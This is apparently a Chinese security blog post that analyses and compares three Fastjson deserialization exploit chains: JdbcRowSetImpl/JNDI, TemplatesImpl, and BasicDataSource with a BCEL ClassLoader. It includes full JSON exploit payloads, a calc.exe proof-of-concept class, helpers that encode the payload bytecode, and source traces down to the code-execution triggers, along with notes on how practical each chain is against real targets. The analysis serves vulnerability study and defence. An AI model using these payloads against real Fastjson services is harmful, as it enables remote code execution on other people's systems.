Java中 Fastjson 的 3 种漏洞利用链分析和对比

目录
文章目录隐藏
  1. JdbcRowSetImpl
  2. TemplateImpl
  3. BasicDataSource

Fastjson 已被大家分析过很多次,本文主要是对三种利用链做分析和对比。

JdbcRowSetImpl

String payload = "{\n" +
    "    \"a\":{\n" +
    "        \"@type\":\"java.lang.Class\",\n" +
    "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
    "    },\n" +
    "    \"b\":{\n" +
    "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
    "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
    "        \"autoCommit\":true\n" +
    "    }\n" +
    "}";
JSON.parse(payload);

payload 中的 a 对象用来当作缓存绕过,需要关注的是第二个对象

注意到其中"autoCommit":true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        // conn 为空才会调用到这里
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载远程恶意对象:

protected Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            // conn 为空且 dataSourceName 不为空才会到这里
            InitialContext var1 = new InitialContext();
            // 成功触发 JNDI 注入
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

根据 lookup 到com.sun.jndi.rmi.registry.RegistryContext.lookup()

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        ......
        return this.decodeObject(var2, var1.getPrefix(1));
    }
}

跟入decodeObject方法,看到加载了远程Reference绑定的恶意对象:

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);

总结:

  • 实战可以利用,JDNI 注入基于较低版本的 JDK,LDAP 适用范围更广
  • 必须能出网,加载远端的恶意字节码,造成了局限性

TemplateImpl

String payload = "{\"a\":{\n" +
    "\"@type\":\"java.lang.Class\",\n" +
    "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
    "},\n" +
    "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);

注意其中的 Payload 来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

public class TEMPOC extends AbstractTranslet {
    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}

类似第一条链,使用两个对象绕过,其中的 Payload 为恶意类的字节码再 Base64 编码的结果,给出简易的 py 脚本:

fin = open(r"PATH-TO-TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)

该链需要开启Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在 set 方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有 set 方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)。

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断:

final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
    && (lexer.isEnabled(mask)
        || (this.beanInfo.parserFeatures & mask) != 0)) {
    ......

反序列化时,fastjson 中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法:

transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

跟入getTransletInstance

// name 不能为空所以在 payload 中设置 a.b
if (_name == null) return null;
// 关键
if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

再跟入defineTransletClasses,对父类进行了验证,这样解释了为什么 Payload 恶意类要继承自该类。如果验证没有问题,将在上方的newInstance方法中实例化该类,造成 RCE。

private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}

为什么_bytescode要对字节码进行 base64 编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次 base64 的解码。

......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
    byte[] bytes = lexer.bytesValue();
    ......

跟入lexer.bytesValue()方法,看到decodeBase64

public byte[] bytesValue() {
    ......
    // base64 解码
    return IOUtils.decodeBase64(buf, np + 1, sp);
}

总结:

  • TemplatesImpl 类是 Java 反序列化界比较常用的类,更容易理解和上手
  • 需要开启Feature.SupportNonPublicField,实战中不适用

BasicDataSource

String payload = "{\n" +
    "    \"name\":\n" +
    "    {\n" +
    "        \"@type\" : \"java.lang.Class\",\n" +
    "        \"val\"   : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
    "    },\n" +
    "    \"x\" : {\n" +
    "        \"name\": {\n" +
    "            \"@type\" : \"java.lang.Class\",\n" +
    "            \"val\"   : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "        },\n" +
    "        \"y\": {\n" +
    "            \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
    "            \"c\": {\n" +
    "                \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
    "                \"driverClassLoader\": {\n" +
    "                    \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "                },\n" +
    "                \"driverClassName\":\"!!!Payload!!!\",\n" +
    "\n" +
    "                     \"$ref\": \"$.x.y.c.connection\"\n" +
    "\n" +
    "            }\n" +
    "        }\n" +
    "    }\n" +
    "}";
JSON.parse(payload);

这个 Payload 适用于 1.2.37 版本,并且需要导入 Tomcat 相关的包:

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.37</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>8.0.36</version>
    </dependency>
</dependencies>

生成driverClassName的工具如下:

import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;

public class Test {
    public static void main(String[] args) throws Exception {
        JavaClass cls = Repository.lookupClass(Exp.class);
        String code = Utility.encode(cls.getBytes(), true);
        code = "$$BCEL$$" + code;
        new ClassLoader().loadClass(code).newInstance();
        System.out.println(code);
    }
}

BCEL 的全名是 Apache Commons BCEL,Apache Commons 项目下的一个子项目,包含在 JDK 的原生库中。我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个 Java Class 先转换成原生字节码,当然这里也可以直接使用 javac 命令来编译 java 文件生成字节码;Utility 用于将原生的字节码转换成 BCEL 格式的字节码。

生成的 BCEL 格式大概如下:

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

将这种格式的字符串,作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化,当我们在 Fastjson 反序列化中构造出这种链,将会造成反序列化漏洞。

回到 Payload,开头一部分用于绕 Fastjson 黑白名单,没有什么特殊的意义,核心部分如下:

"x" : {
    "name": {
        "@type" : "java.lang.Class",
        "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "y": {
        "@type":"com.alibaba.fastjson.JSONObject",
        "c": {
            "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
            "driverClassLoader": {
                "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
            },
            "driverClassName":"!!!Payload!!!",
            "$ref": "$.x.y.c.connection"
        }
    }
}

这个版本利用的是$ref这个特性:当 fastjson 版本>=1.2.36 时,我们可以使用$ref的方式来调用任意的 getter,比如这个 Payload 调用的是x.y.c.connection,x 是这个大对象,最终调用的是 c 对象的 connection 方法,也就是BasicDataSource.connection

参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

if ("$ref" == key && context != null) {
    // 传入的 ref 是$.x.y.c.connection,匹配到 else
    if ("@".equals(ref)) {
        ...
    } else if ("..".equals(ref)) {
        ...
    } else if ("$".equals(ref)) {
        ...
    } else {
        Object refObj = parser.resolveReference(ref);
        if (refObj != null) {
            object = refObj;
        } else {
            // 将$.x.y.c.connection 加入到 Task
            parser.addResolveTask(new ResolveTask(context, ref));
            parser.resolveStatus = DefaultJSONParser.NeedToResolve;
        }
    }
}
// 处理后设置到 context
parser.setContext(context, object, fieldName);

漏洞的触发点在com.alibaba.fastjson.JSON.parse:154

parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

if (ref.startsWith("$")) {
    refValue = getObject(ref);
    if (refValue == null) {
        try {
            // 看到 eval 感觉有东西
            refValue = JSONPath.eval(value, ref);
        } catch (JSONPathException ex) {
            // skip
        }
    }
}

跟入JSONPath.eval,这里的segement数组中的是[x,y,c,connection]

public Object eval(Object rootObject) {
    if (rootObject == null) {
        return null;
    }

    init();

    Object currentObject = rootObject;
    for (int i = 0; i < segments.length; ++i) {
        Segement segement = segments[i];
        // 继续跟入
        currentObject = segement.eval(this, rootObject, currentObject);
    }
    return currentObject;
}

到达com.alibaba.fastjson.JSONPath:1350

public Object eval(JSONPath path, Object rootObject, Object currentObject) {
    if (deep) {
        List<Object> results = new ArrayList<Object>();
        path.deepScan(currentObject, propertyName, results);
        return results;
    } else {
        // return path.getPropertyValue(currentObject, propertyName, true);
        return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
    }
}

继续跟入path.getPropertyValue

protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
    if (currentObject == null) {
        return null;
    }
    if (currentObject instanceof Map) {
        Map map = (Map) currentObject;
        Object val = map.get(propertyName);

        if (val == null && SIZE == propertyNameHash) {
            val = map.size();
        }

        return val;
    }

    final Class<?> currentClass = currentObject.getClass();

    JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
    if (beanSerializer != null) {
        try {
            // 最后一次循环到达这里
            return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
        } catch (Exception e) {
            throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
        }
    }

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
    FieldSerializer fieldDeser = getFieldSerializer(keyHash);
    ......
    // 跟入
    return fieldDeser.getPropertyValue(object);
}

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
    Object propertyValue =  fieldInfo.get(object);

到达com.alibaba.fastjson.util.FieldInfo,达到最终触发点:method.invoke

public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
    return method != null
            ? method.invoke(javaObject)
            : field.get(javaObject);
}

看到这里的 javaObject 正是BasicDataSouce

javaObject 正是 BasicDataSouce

回到BasicDataSource本身:

public Connection getConnection() throws SQLException {
    if (Utils.IS_SECURITY_ENABLED) {
        // 跟入
        final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
        try {
            return AccessController.doPrivileged(action);
        } catch (final PrivilegedActionException e) {
            final Throwable cause = e.getCause();
            if (cause instanceof SQLException) {
                throw (SQLException) cause;
            }
            throw new SQLException(e);
        }
    }
    return createDataSource().getConnection();
}
private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
    @Override
    public Connection run() throws SQLException {
        // 跟入 createDataSource()
        return createDataSource().getConnection();
    }
}
// 继续跟入 createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最终触发点,其中driverClassNamedriverClassLoader都是可控的,由用户输入,指定 ClassLoader 为com.sun.org.apache.bcel.internal.util.ClassLoader,设置 ClassName 为BCEL...这种格式后,在newInstance方法执行后被实例化。第二个参数initial为 true 时,类加载后将会直接执行static{}块中的代码。

if (driverClassLoader == null) {
    driverFromCCL = Class.forName(driverClassName);
} else {
    driverFromCCL = Class.forName(
        driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();

总结:

  • 不需要出网,不需要开启特殊的参数,适用范围较广;
  • 目标需要引入 tomcat 依赖,虽说比较常见,但也是一种限制。

「点点赞赏,手留余香」

0

给作者打赏,鼓励TA抓紧创作!

微信微信 支付宝支付宝

还没有人赞赏,快来当第一个赞赏的人吧!

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。
码云笔记 » Java中 Fastjson 的 3 种漏洞利用链分析和对比

发表回复